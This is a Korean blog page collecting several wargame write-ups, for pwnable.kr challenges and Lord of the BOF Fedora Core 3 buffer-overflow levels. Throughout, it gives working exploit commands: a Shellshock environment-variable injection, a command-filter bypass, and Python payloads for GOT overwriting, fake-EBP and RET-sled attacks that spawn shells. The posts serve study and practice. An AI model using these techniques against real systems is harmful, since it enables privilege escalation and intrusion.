Wargame

[pwnable.kr] blackjack - 1 pt

2018. 5. 1. 20:49


이번에 풀어볼 녀석은 이녀석입니다.



문제가 기네요.. 백만장자에게 flag를 주겠다는 것 같습니다.

nc로 접속해보면 blackjack 게임을 할 수 있구요


돈 $500을 주고 베팅해서 컴퓨터를 이기면 돈을 받고 지면 돈을 잃습니다.


문제의 blackjack소스는 https://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html

저 url에 있습니다.


취약점을 여러군데에서 발견할 수 있는데...


먼저 betting 부분입니다.


 


보시면 알겠지만....

현재 가진 돈보다 베팅금액이 많다면 다시 한번 Bet을 입력하라고 나오는데...

이게 반복문이 아니고 다시 한번만 묻고 이번에는 bet을 리턴해주기 때문에 한번 cash보다 많은 금액 입력햇다가 다시 입력하면

그걸 받아들입니다.


그래서 아래와 같이 아슬아슬하게 int형의 범위를 안넘는 돈을 배팅하면 한번 거절했다가 betting을 받습니다.



여기서 이제 이기면 돈이 저만큼 들어옵니다.



예이... 이기니까 플래그도 주넴...


또 다른 취약점은 bet한 금액의 부호를 검사하지않는다는 건데요.

만약 제가 마이너스 금액 -10000을 배팅했다가 지게되면


cash = cash - (-10000);

이 되서 결국 플러스가 됩니다.


 





굿뜨...

'Wargame > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] bof- 5 pt  (0) 2018.05.09
[pwnable.kr] collision - 3 pt  (0) 2018.05.02
[pwnable.kr] cmd1 - 1 pt  (0) 2018.05.01
[pwnable.kr] shellshock - 1 pt  (0) 2018.05.01
[pwnable.kr] mistake - 1 pt  (0) 2018.04.27

[pwnable.kr] cmd1 - 1 pt

2018. 5. 1. 15:21

이번에 풀 녀석은 이놈!



문제는 아래와 같다. 먼저 접속!





문제의 소스파일은 시작하면 PATH 환경변수를 망가뜨리고, argv[1]에서 flag, sh, tmp등을 필터한다.

필터후에 system으로 argv[1]을 실행하는데, PATH가 망가졌으므로 절대경로로 명령값을 넣어주면 된다.


원래 SHELL을 사용할때 명령어를 입력하면 PATH 환경변수에 지정된 경로에서 입력받은 명령과 같은 파일을 찾아 exec 시스템콜로 호출하는데

여기서 PATH를 망가뜨려주므로 cat을 사용하려면 /bin/cat으로 쓰면 된다.


flag를 필터하므로 fl*으로 출력하도록 해보았다.



잘 출력되었다.... 뭐지; 이렇게 쉬운 문제인가;



뭔가 좀 아닌것 같아서 다른 사람들은 어떻게 풀었는지 검색해보니

심볼릭 링크나 환경변수를 이용해서 문제를 풀었다. 심볼릭링크는 /tmp에 폴더 및 파일을 생성해 심볼릭링크를 걸어 해결하는 거고


환경변수 이용하는것이 이번 문제에서 의도한 것같다.

$ export x=/home/cmd1/flag

$ ./cmd1 "/bin/cat \$x"



'Wargame > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] collision - 3 pt  (0) 2018.05.02
[pwnable.kr] blackjack - 1 pt  (0) 2018.05.01
[pwnable.kr] shellshock - 1 pt  (0) 2018.05.01
[pwnable.kr] mistake - 1 pt  (0) 2018.04.27
[pwnable.kr] random - 1 pt [Toddler's Bottle]  (0) 2018.04.25

[pwnable.kr] shellshock - 1 pt

2018. 5. 1. 00:10


이번에 풀어볼 녀석은 이녀석이다. 이름은 shellshock



bash에 대한 shocking 뉴스가 있다고 한다. 검색해보면 쉘쇼크(ShellShock)라는 취약점에 대해서 알 수 있다.


 쉘쇼크(Shell-Shock) (CVE-2014-6271)

2014년 9월 24일, GNU Bash 환경변수를 통한 코드 인젝션 취약점이 보고되었다. 이른바 ‘쉘쇼크(ShellShock)’로 불리는 해당 취약점환경변수를 이용하여 인젝션을 시도할 수 있어 공격자는 악의적인 명령이 포함된, 특별하게 조작된 환경변수를 사용하여 해당 취약점을 이용해 악의적인 행위를 수행할 수 있다.


저 쉘쇼크에 대해 이해하기 위해선 먼저 Shell에 대해 잘알아야한다. 여기 블로그에서 잘 설명되어 있어서 한번 가서 보고오는것도 좋다.

[unix/linux] shell(쉘)을 이해하자


일단 bash 취약점에 대해 간단히 설명가능한 명령어가 있는데 아래와 같다.


$ ​env x='() { :;}; echo vulnerable' bash -c "echo test"


간단히 설명하면 bash에는 환경변수라는 것이 있는데, bash에서는 이 환경변수에 값이 아닌 함수를 등록하고 

bash -c [변수명] 과 같은 방법으로 변수에 등록된 함수를 실행시킬수 있다.


한줄에 써져있어 잘 모를수있어 풀어쓰면 밑과 같다.


1    '( )

    :;

   }

4    echo vulnerable'

   bash -c "echo test"


우리가 흔히쓰는 함수의 선언과 다를게 없다. 

그럼 여기서 무엇이 문제점(취약점)이냐? 하면 다시 위의 명령을 보자

먼저 정상적인 동작이라면 함수정의가 끝나면서인 (){ }; 여기까지이다. 

그러므로 그 뒤에 echo 명령이 있는 부분은 원래라면 무시되거나 에러가 나면서 실행이 안되어야한다.


그러나 실제로는 bash가 함수를 실행하기 위해 파싱하는 과정에서 중괄호의 끝인 }와 ' 사이에 있는 명령(echo)을 실행시켜 버려

그 뒤에 부분이 전부 실행된다는 것이다.



여기에 있는 bash는 취약점있는 shellshock공격이 가능한 bash쉘이라는것이 확인되었다.

그러면 이제 shellshock.c의 내용을 통해 shellshock파일이 어떤 동작을 하는 지 보자.



setresuid와 setresgid 둘다주고 setuid가 걸려있으므로 root권한으로 실행될것이란것을 알 수 있다.

사용하는 bash는 취약점이 있는 bash이다. 프로그램은 system함수로 /home/shellshock/bash -c 'echo shock_me'를 실행하는데

저 bash가 실행될때 실행되는 함수뒤에 echo함수의 정의를 새로해두면 system함수에 의해 실행되는 subshell은 echo를 실행하면 cat flag를 실행하게 된다.


env x='() { :; }; echo(){ cat flag; }' /home/shellshock/shellshock



이렇게 플래그를 획득할 수 있다.


참고한 블로그 : 

http://operatingsystems.tistory.com/entry/Shellshock-CVE20146271

http://blogger.pe.kr/300





+다른 사람 writeup을 보고 알았는데

그냥 env x='() { :;}; /bin/cat flag' ./shellshock 로 해도 된다. 생각해보니 그렇다 ㅇㅇ;

그런데 이상하게 segmentation fault가 뜬다



'Wargame > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] blackjack - 1 pt  (0) 2018.05.01
[pwnable.kr] cmd1 - 1 pt  (0) 2018.05.01
[pwnable.kr] mistake - 1 pt  (0) 2018.04.27
[pwnable.kr] random - 1 pt [Toddler's Bottle]  (0) 2018.04.25
[pwnable.kr] fd - 1 pt [Toddler's Bottle]  (0) 2018.04.24

[pwnable.kr] mistake - 1 pt

2018. 4. 27. 01:21


이번에 풀어볼 문제는 이 놈이다.


mistake!!



문제를 한번 살펴보자, 대충 요약, 의역해보면


우리는 모두 실수를 저질렀다. (복잡한 기술은 필요없음)

실제 사건에 기반한 문제다.


힌트 : 연산자 우선순위 


라는 것같다. 일단 접속해보자.



password와 flag가 보이고, 둘다 지금 접속된 계정의 권한으로는 볼 수 가 없다.


볼 수 있는 것으로는 mistake.c 와 실행할 수있는 mistake가 있다.

일단 mistake.c의 내용은 아래와 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <fcntl.h>
 
#define PW_LEN 10
#define XORKEY 1
 
void xor(char* s, int len){
    int i;
    for(i=0; i<len; i++){
        s[i] ^= XORKEY;
    }
}
 
int main(int argc, char* argv[]){
    
    int fd;
    if(fd=open("/home/mistake/password",O_RDONLY,0400< 0){
        printf("can't open password %d\n", fd);
        return 0;
    }
 
    printf("do not bruteforce...\n");
    sleep(time(0)%20);
 
    char pw_buf[PW_LEN+1];
    int len;
    if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
        printf("read error\n");
        close(fd);
        return 0;        
    }
 
    char pw_buf2[PW_LEN+1];
    printf("input password : ");
    scanf("%10s", pw_buf2);
 
    // xor your input
    xor(pw_buf2, 10);
 
    if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
        printf("Password OK\n");
        system("/bin/cat flag\n");
    }
    else{
        printf("Wrong Password\n");
    }
 
    close(fd);
    return 0;
}
 
 
cs


프로그램은 코드만 대충 봣을때는

password에서 10자 읽어와 pw_buf에 저장하고, 0~20초 정도 대기후

사용자로부터 문자열을 받아 pw_buf2에 저장하고, 문자열 전체에 xor 0x1 을 수행한 후


strncmp로 pw_buf와 pw_buf2가 같다면 flag를 출력해주는 방식이다.


그냥 겉으로봤을 때는 위와 같은 흐름대로 프로그램이 실행될것으로 보이나... 아니였다.

힌트가 연산자 우선순위인데(처음에는 strncmp 부분에서 무언가 있는가 해서 시간날때마다 살펴보았으나, 결국 삽질만 한것이였다.)

프로그램이 실행되고 초기에 if(fd=open("/home/mistake/password",O_RDONLY,0400< 0)을 수행하는데

여기서 연산의 우선순위가 '='연산자보다 '<'연산자가 높기때문에 fd=(open("~",O,0400< 0)같이 된다. 즉 open(~,~,~)<0이 먼저 수행되어 false(0)라는 결과가 나와 fd=0이 된다.


그래서 결국 sleep(time(0)%20); 후에 아래 if문의 read를 만나게되고 read(fd,pw_buf, pw_LEN)에서 fd가 0이므로 stdin으로 입력을 받아 pw_buf에 저장되게 된다. 이것이 뜻하는 것은 sleep()로 대기한 후 우리가 pw_buf값을 임의로 입력할 수 있다는 것이다.


pw_buf의 값과 pw_buf2의 값 모두 입력할 수 있고, pw_buf2는 xor 0x1를 수행한 후 pw_buf와 비교하게 되니, 

XOR연산의 특성상 pw_buf2 XOR 0x1 한 값을 pw_buf로 넣으면 XOR 0x1을 수행하면 0x1이 소거되어 둘이 같은 값이 될 것이다.


pw_buf2의 값으로 AAAAAAAAAA을 넣는다고 하면 pw_buf에는 "A" XOR 0x1한 @@@@@@@@@@@을 넣으면 될 것이다.


이제 한번 넣어보자.



와우...!! 풀었다! 잘했다 굿....!!


Mommy, the operator priority always confuses me :(



'Wargame > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] blackjack - 1 pt  (0) 2018.05.01
[pwnable.kr] cmd1 - 1 pt  (0) 2018.05.01
[pwnable.kr] shellshock - 1 pt  (0) 2018.05.01
[pwnable.kr] random - 1 pt [Toddler's Bottle]  (0) 2018.04.25
[pwnable.kr] fd - 1 pt [Toddler's Bottle]  (0) 2018.04.24
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/*
    The Lord of the BOF : The Fellowship of the BOF 
    - dark_stone
    - Remote BOF on Fedora Core 3 
    - hint : GOT overwriting again
    - port : TCP 8888
*/
 
#include <stdio.h>
 
// magic potion for you
void pop_pop_ret(void)
{
    asm("pop %eax");
    asm("pop %eax");
    asm("ret");
}
 
int main()
{
    char buffer[256];
    char saved_sfp[4];
    int length; 
    char temp[1024];
 
    printf("dark_stone : how fresh meat you are!\n");
    printf("you : ");
    fflush(stdout);
 
    // give me a food
    fgets(temp, 1024, stdin);
 
    // for disturbance RET sleding
    length = strlen(temp);
   
    // save sfp 
    memcpy(saved_sfp, buffer+2644);
 
    // overflow!!
    strcpy(buffer, temp);
 
    // restore sfp 
    memcpy(buffer+264, saved_sfp, 4);
 
        // disturbance RET sleding
        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));
 
    // buffer cleaning 
    memset(0xf6ffe00000xf7000000-0xf6ffe000);
 
    printf("%s\n", buffer);
}
 
cs


힌트로는 GOT overwriting again이다. 하지만 저번과 다른점은 remote란 점일까... 포트도 주어졌다. TCP 8888


일단 코드를 찬찬히 분석해보자. sfp는 변조불가능하고, ret sled도 막혀있고, buffer도 싹 지워버린다.

저번에 썻던 코드를 가져와서 재활용해야겠다. 


memcpy_plt : 0x8048418

strcpy_plt :  0x8048438

memcpy_got : 0x8049850   //값: 0x0804841e


pop-pop-ret : 0x080484f3


/bin/sh : 0x833603


system : 0x7507c0


c0 : 0x80484d9

07 : 0x8048364

75 : 0x8048740

00 : 0x8049814



아까와 똑같이 짜서 했는데 안된다... 왜 안되는가 고민했는데... 일단 추측하기로는 got.plt를 덮어쓰다가 .data까지 침범해서라는 것이다.

memcpy_got : 0x8049850 는 .data와 매우 가까운 위치에 있다.



그래서 .data를 지나서 bss영역을 이용하기로 했다.



다행히 w가 가능한 공간이다.


적당한 위치를 잡고 복사를 진행하자.



0x8049888로 잡겠다. 소스는 아래와 같이 짜였다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from struct import *
= lambda x : pack('<L', x)
 
memcpy_plt = p(0x8048418)
strcpy_plt = p(0x8048438)
memcpy_got = 0x8049850
 
bss = 0x8049888
 
ppr = p(0x080484f3)
bin_sh=p(0x833603)
 
payload  = "A"*268
payload += strcpy_plt+ppr+p(bss)+p(0x80484d9)
payload += strcpy_plt+ppr+p(bss+1)+p(0x8048364)
payload += strcpy_plt+ppr+p(bss+2)+p(0x8048740)
payload += strcpy_plt+ppr+p(bss+3)+p(0x8049814)
payload += strcpy_plt+ppr+p(memcpy_got)+p(bss)
payload += memcpy_plt + "BBBB" + bin_sh
 
print(payload)
 
cs


공격!



성공~~



아이템을 획득하였당... 다음은 FC4인가


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/*
    The Lord of the BOF : The Fellowship of the BOF 
    - evil_wizard
    - Local BOF on Fedora Core 3 
    - hint : GOT overwriting
*/
 
// magic potion for you
void pop_pop_ret(void)
{
    asm("pop %eax");
    asm("pop %eax");
    asm("ret");
}
 
int main(int argc, char *argv[])
{
    char buffer[256];
    char saved_sfp[4];
    int length; 
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    // for disturbance RET sleding
    length = strlen(argv[1]);
   
        // healing potion for you
        setreuid(geteuid(), geteuid());
        setregid(getegid(), getegid());
 
    // save sfp 
    memcpy(saved_sfp, buffer+2644);
 
    // overflow!!
    strcpy(buffer, argv[1]);
 
    // restore sfp 
    memcpy(buffer+264, saved_sfp, 4);
 
        // disturbance RET sleding
        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));
 
    printf("%s\n", buffer);
}
 
cs


힌트는 GOT overwrite다. 아예 매직포션이라고 pop-pop-ret 가젯을 준다.

힐링포션으로 setreuid도 해주므로... 우리가 할 것은 system함수로 "/bin/sh" 등을 인자로 넣어주면 될 것같다.


코드를 보면 ret sled는 막혓고(스택에 있는 값을 지워버린다) sfp또한 저장되었다가 restore된다.

GOT overwrite를 수행해야한다...


필요한 가젯들을 모아보자.


memcpy_plt : 0x8048434

strcpy_plt : 0x8048494

memcpy_got : 0x8049888    //값: 0x007854c0


pop-pop-ret : 0x0804854f


/bin/sh : 0x833603


system : 0x7507c0

c0 : //memcpy_got의 마지막값이 c0이라 일단 보류

07 : 0x8048154

75 : 0x80482c8

00 : 0x8049840


objdump와 grep을 쓰면 system함수를 만들 가젯들을 찾기 쉽다.


objdump -s evil_wizard | grep ?? --color=auto



strcpy(memcpy_got, &c0), strcpy(memcpy_got+1, &07), strcpy(memcpy_got+2, &75), strcpy(memcpy_got+3, &00)을 수행하면 되고


이것들을 연속적으로 호출하기 위해서 pop-pop-ret가젯이 필요하다.


strcpy주소 - ppr주소 - 인자1 - 인자2 - strcpy주소 - ppr주소 .... 이런식으로 이뤄진다.


payload를 짜보자. python을 이용하겠다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from struct import *
= lambda x : pack('<L', x)
 
memcpy_plt = p(0x8048434)
strcpy_plt = p(0x8048494)
memcpy_got = 0x8049888
 
ppr = p(0x0804854f)
bin_sh=p(0x833603)
 
payload  = "A"*268
payload += strcpy_plt+ppr+p(memcpy_got+1)+p(0x8048154)
payload += strcpy_plt+ppr+p(memcpy_got+2)+p(0x80482c8)
payload += strcpy_plt+ppr+p(memcpy_got+3)+p(0x8049840)
payload += memcpy_plt + "BBBB" + bin_sh
 
 
 
 
 
print(payload)
 
cs


공격!!!!



한번에 성공했다... 이럴수가;; 굿...


/*
    The Lord of the BOF : The Fellowship of the BOF 
    - hell_fire
    - Remote BOF on Fedora Core 3 
    - hint : another fake ebp or got overwriting 
    - port : TCP 7777
*/
 
#include <stdio.h>
 
int main()
{
    char buffer[256];
    char saved_sfp[4];
    char temp[1024];
  
    printf("hell_fire : What's this smell?\n");
    printf("you : ");
    fflush(stdout);
 
    // give me a food
    fgets(temp, 1024, stdin);
   
    // save sfp 
    memcpy(saved_sfp, buffer+2644);
 
    // overflow!!
    strcpy(buffer, temp);
 
    // restore sfp 
    memcpy(buffer+264, saved_sfp, 4);
 
    printf("%s\n", buffer);
}
 
cs


음.. 힌트로는 another fake ebp or got overwrite이다.


먼저 got overwrite!! 이건 pop-pop-ret 가젯을 찾을수가 없어서 포기...

일단 어떤 방법들이 있나 보자.


1. fake ebp, mprotect를 사용하여 메모리공간에 x권한을 주고 shell코드 실행

2. fake ebp, execve를 이용하는 방법 (system은 왜인지 못써먹는다 ㅡ;; execl도 되지않을까싶은데?)


3. do_system 사용 (0x00750784 <do_system+1124>)


3번이 제일 쉽다.

바로 해보자.


payload : (python -c 'print("A"*268+"\x84\x07\x75\x00")';cat) | nc localhost 7777



굿.. 성공.


다음으로 1이나 2의 방법을 써볼까했지만, 찾아보니 내가 got overwrite로 푼게 있어서 그걸 쓰기로했다.

1,2의 방법은 나중에 시간이 되면 해봐야겠다.


먼저 stack의 모습을 엑셀로 그려보면 아래와 같다.




buf+dummy로 264값을 놓고, sfp는 변조안되니 나두고


ret에 strcpy를 이용해 memcpy_got값을 execl+3의 주소값으로 복사해주고, memcpy_plt로 뛰어주면

memcpy_got가 execl+3의 주소로 되어있어 execl+3으로 뛰게 된다.


이때 execl+3으로 뛰게되어 프롤로그는 생략되고, main이 종료되면서 ebp는 another sfp가 되어있다. (leave - pop ebp)

이 another sfp+8의 위치에 "/bin/sh"의 주소를 두면 execl로 "/bin/sh"가 실행되어 쉘이 실행되는 방식이다.




이제 필요한 값들을 구해보자.


0x80483bc memcpy.plt

0x80483cc strcpy.plt


memcpy 의 got위치

0x8049770 <_GLOBAL_OFFSET_TABLE_+28>: 0x007854c0


0x7a5720 <execl>


another ebp의 주소는 알 수 없으나 상대적인 주소는 알 수 있다.



96차이가 난다...


이제 payload를 구성해보자, strcpy의 변수로는 주소값이 들어가야하므로, 두번째 인자로 execl+3의 값이 들어있는곳의 주소를 넣어줘야하므로

payload의 구성이 끝난 뒤에 넣어주고 이 곳의 주소를 넣어주면 된다. fgets를 사용하므로 stdin의 주소에서 가져오면 된다.



일단 알고 있는 값으로 payload를 구성


payload : python -c 'print("A"*268+"\xcc\x83\x04\x08"+"\xbc\x83\x04\x08"+"\x70\x97\x04\x08"+"BBBB"+"C"*76+"ANOT"+"ARET"+"BINS"+"\x00\x00\x00\x00"+"\x23\x57\x7a\x00"+"\x00\x00\x00\x00"+"/bin/sh"+"\x00\x00\x00\x00")'


&(execl+3) : 0xf6ffe178

&(/bin/sh) : 0xf6ffe180


ㅡㅏㅏㅏㅏㅏㅏ


/bin/sh를 실행시키는 거였는데... 아무리해도 안된다; 왜 안되는거지 ㅡㅡ; 그러다가 /bin/my-pass로 바꾸어봣는데 이건 또 된다;;

(추측인데... /bin/sh가 실행안되는 이유는 setreuid가 걸려있지않아서 인것같다. )


payload : (python -c 'print("A"*268+"\xcc\x83\x04\x08"+"\xbc\x83\x04\x08"+"\x70\x97\x04\x08"+"\x78\xe1\xff\xf6"+"C"*76+"\x32\x32\xe1\xbf"+"ARET"+"\x7c\xe1\xff\xf6"+"\x00\x00\x00\x00"+"\x23\x57\x7a\x00"+"/bin/my-pass"+"\x00\x00\x00\x00")';cat) | nc localhost 7777



으어어.... execl을 실행시키는 방법을 해보겠다.


another fake ebp를 사용하는 것은 똑같다. 대신 아까와는 다르게 got overwrite를 쓰지않고 fake ebp로 stdin에 있는 /bin/my-pass의 값을 인자로 넣을수 있게 하면 된다.

실행하는 함수는 execl


0x08048561 <main+221>: leave  

0x08048562 <main+222>: ret   


payload : A*268 + leave-ret + "B"*88 + fakeEbp + execl + "AAAA" + &"/bin/sh" + null + "/bin/my-pass" + null


payload : (python -c 'print("A"*268+"\x61\x85\x04\x08"+"B"*88+"\x68\xe1\xff\xf6"+"\x23\x57\x7a\x00"+"\x78\xe1\xff\xf6"+"\x00\x00\x00\x00"+"/bin/sh"+"\x00\x00\x00\x00")';cat) | nc localhost 7777



구ㅜㅜㅜ웃....


엄청 힘드네 ;;



/*
    The Lord of the BOF : The Fellowship of the BOF 
    - dark_eyes
    - Local BOF on Fedora Core 3 
    - hint : RET sleding
*/
 
int main(int argc, char *argv[])
{
    char buffer[256];
    char saved_sfp[4];
    
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
   
    // save sfp 
    memcpy(saved_sfp, buffer+2644);
 
    // overflow!!
    strcpy(buffer, argv[1]);
 
    // restore sfp 
    memcpy(buffer+264, saved_sfp, 4);
 
    printf("%s\n", buffer);
}
 
cs

이것이야 말로... ret sled네

저번에 한대로 그대로 하겠다. 여기 참고 http://xerxes-break.tistory.com/260?category=729571


0x080484b9 <main+177>: ret



payload : ./dark_eyes "`python -c 'print("A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a")'`"







[LOB FC3] gate -> iron_golem

2018. 4. 25. 22:20

음... LOB는 여기서 writeup을 접으려했으나;


역시 끝까지 다하는게 좋을거같아서 적는다.


/*
    The Lord of the BOF : The Fellowship of the BOF 
    - iron_golem
    - Local BOF on Fedora Core 3 
    - hint : fake ebp
*/
 
int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}
 
cs


힌트는 fake ebp!


하지만 ret sled로도 풀수 있다.

하지만 뭐... fake ebp라니까 먼저 이쪽으로 해보자


구성은


buf(256) + fakeEbp(4) + [execl주소+3](4)


(gdb) p execl

$1 = {<text variable, no debug info>} 0x7a5720 <execl>


execl의 주소는 구하였고, execl+3을 하면 프롤로그 생략이 가능해서 fakeEbp를 그대로 쓸 수 있다.
(leave : mov esp ebp, pop ebp
 ret : pop eip, jump eip   )


Dump of assembler code for function execl:

0x007a5720 <execl+0>: push   ebp

0x007a5721 <execl+1>: mov    ebp,esp

0x007a5723 <execl+3>: lea    ecx,[ebp+16]

0x007a5726 <execl+6>: push   edi

0x007a5727 <execl+7>: push   esi

0x007a5728 <execl+8>: push   ebx

0x007a5729 <execl+9>: sub    esp,0x1038

0x007a572f <execl+15>: mov    eax,DWORD PTR [ebp+12]

0x007a5732 <execl+18>: mov    DWORD PTR [ebp-16],0x400 



이 부분에서 execl+3해서 프롤로그를 생략한다. 그럼 이제 fakeEbp+8의 위치에 execl의 인자로 쓸 값이 들어가면 된다.

int execl(const char *path, const char *arg0, ... , const char *argn, NULL); 
  path : 실행할 파일의 경로
  arg0 : 실행할 파일 명
  argn : arg0의 파일의 인자

마지막은 NULL로 끝을 알려준다.

execl("실행할 프로그램명", null); 로 구성해서 공격해보겠다.




fakeEbp의 위치로는  got가 적당할거 같아서 저쪽을 알아보자.



저곳을 사용하면 좋겠다. 0x0804954c의 값은 0x01이고 실행할때 마다 값이 변하지 않는다. 뒤에 0x0000(null)이 있으므로 인자의 끝을 넣기도 좋다.

실행할 파일이름을 0x01로 지정해주든... 심볼릭 링크를 걸든해서 설정해주고

저곳으로 FakeEBP(0x8049610)해주면 될것같다.


#include <stdlib.h>
 
int main()
{
    setreuid(geteuid(), geteuid());
    system("/bin/sh");
 
    return 0;
}
 
cs

이런 코드를 짠 후, 심볼릭 링크로 0x01을 설정해주었다.


buf(256) + fakeEbp(4) + [execl주소+3](4)




굿!!


한번 Ret sled도 써보겠다. 


ret sled로 스택을 이동하여 execl의 인자로 적당한 값이 있는 곳에서 execl을 실행하면 된다.



0x0083eff4 0x00000000 이 있고, 이 값은 변하지 않는다.(몇번 실행을 통해 알 수 있다.)

0x0083eff4의 값도 0x83ed3c로 고정되어 있으므로, ret sled로 주소값을 올려 저 값을 execl인자로 넣게 하자


ret주소 : 0x08048441

execl주소 : 0x7a5720


payload : /iron_golem "`python -c 'print("A"*268+"\x41\x84\x04\x08"*3+"\x20\x57\x7a\x00")'`"


참고로 \x20 이 엔터값이라서 큰 따옴표로 한번 묶어서 넣어줘야한다.



오키... 클리어




이번에는 이놈을 잡을 겁니다.


저번과 마찬가지로 1pt



저번에는 Mommy였는데, 이번에는 Daddy한테 배우는 모양


일단 접속.



이번에도 마찬가지로 random에 setuid가 걸려있어서 저 random을 공략하면 될 것 같다.


소스코드를 확인해보자


#include <stdio.h>
 
int main(){
    unsigned int random;
    random = rand();    // random value!
 
    unsigned int key=0;
    scanf("%d"&key);
 
    if( (key ^ random) == 0xdeadbeef ){
        printf("Good!\n");
        system("/bin/cat flag");
        return 0;
    }
 
    printf("Wrong, maybe you should try 2^32 cases.\n");
    return 0;
}
cs


코드를 보자. 먼저 rand() 함수를 이용해서 랜덤한 값을 random에 받는다.


그 후 사용자로 부터 key를 입력받고, key와 random값을 XOR하여 이 값이 0xdeadbeef 값이라면 flag를 출력해준다.


rand에 대해 간단히 알아보면...

함수의 원형

   int rand( void );    // 난수의 범위 : 0~RAND_MAX, RAND_MAX는 0x7fff이므로 결국 난수의 범위는 0~32767

   void srand( unsigned int seed );  // rand()의 시드값 설정


그러나 rand()함수만 사용하면 프로그램을 실행할때마다 항상 일정한 난수값이 나오므로(그러므로 난수가 아니다.) 

보통은 srand()와 함께 사용하여 시드값을 설정하여 항상 같은 난수열이 나오지않도록해준다. 

하지만 이 프로그램은 그러고 있지않으므로 항상 똑같은 값이 random에 저장되어 있을 것이다.


그러므로 random값이 무엇인지 알아내어 0xdeadbeef와 xor하면 어떤 key값을 넣어야하는지 알 수 있을것이다.


 
#include <stdio.h>
 
int main(){
        unsigned int random;
        random = rand();        // random value!
 
        unsigned int key=0;
        scanf("%d"&key);
 
        printf("%d\n"0xdeadbeef^random);
        return 0;
}
 
cs


위와 같은 소스를 짜서 어떤 값을 입력하면 되는지 알아내었다.


-1255736440이라는 값이 나오고 이것을 이제 입력해주면 된다.


시작은 Daddy로 하고... 엄마를 찾는거냐..

Mommy, I thought libc random is unpredictable...


libc random값은 예측할수 없는 것이 아니였다...(물론 seed를 준다면 또 모르지만, 그것도 seed값을 안다면 예측할수있다...)



플래그획득! 굿!


'Wargame > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] blackjack - 1 pt  (0) 2018.05.01
[pwnable.kr] cmd1 - 1 pt  (0) 2018.05.01
[pwnable.kr] shellshock - 1 pt  (0) 2018.05.01
[pwnable.kr] mistake - 1 pt  (0) 2018.04.27
[pwnable.kr] fd - 1 pt [Toddler's Bottle]  (0) 2018.04.24

+ Recent posts